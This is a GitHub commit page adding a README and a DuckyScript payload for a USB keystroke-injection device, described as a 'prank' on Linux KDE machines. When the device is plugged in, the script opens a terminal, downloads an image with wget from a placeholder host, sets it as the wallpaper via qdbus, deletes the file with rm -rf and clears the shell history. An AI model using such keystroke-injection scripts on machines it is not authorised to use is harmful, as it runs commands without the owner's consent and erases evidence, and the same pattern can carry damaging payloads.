Merge pull request #140 from aleff-github/patch-7

Change Desktop Wallpaper
pull/178/head
Kalani Helekunihi 2023-06-12 15:29:18 -04:00 committed by GitHub
commit dd59cd80fc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 59 additions and 0 deletions

View File

@ -0,0 +1,27 @@
# Change Desktop Wallpaper - Linux ✅
A script used to prank your friends changing their desktop wallpaper.
**Category**: Prank
## Description
A script used to prank your friends changing their desktop wallpaper.
Opens a shell, download the image, define the local image path, run a command KDE BASED that will replace the desktop wallpaper with the local image path, then delete the image downloaded, clear the history and close the shell.
## Getting Started
### Dependencies
* Internet Connection
* Linux KDE
### Executing program
* Plug in your device
### Settings
- Image link
- Local image path

View File

@ -0,0 +1,32 @@
REM ###########################################
REM # |
REM # Title : Change Desktop Wallpaper |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Prank |
REM # Target : Linux (KDE based) |
REM # |
REM ###########################################
REM Requirements:
REM - Internet Connection
REM Replace 'example.com/IMAGE_NAME' with your image link
DEFINE IMAGE_LINK example.com/IMAGE_NAME
REM Replace example.jpg with the image path, for example /home/USERNAME/example.jpg
DEFINE IMAGE_PATH="file://example.jpg"
DELAY 1000
CTRL ALT t
DELAY 2000
STRINGLN wget IMAGE_LINK
REM It depends by the Internet Connection
DELAY 2000
STRINGLN qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript 'var allDesktops = desktops();for (i=0;i<allDesktops.length;i++) {d = allDesktops[i]; d.wallpaperPlugin = "org.kde.image";d.currentConfigGroup = Array("Wallpaper", "org.kde.image", "General");d.writeConfig("Image", "IMAGE_PATH")}'
DELAY 1000
STRINGLN rm -rf IMAGE_PATH;history -c; exit;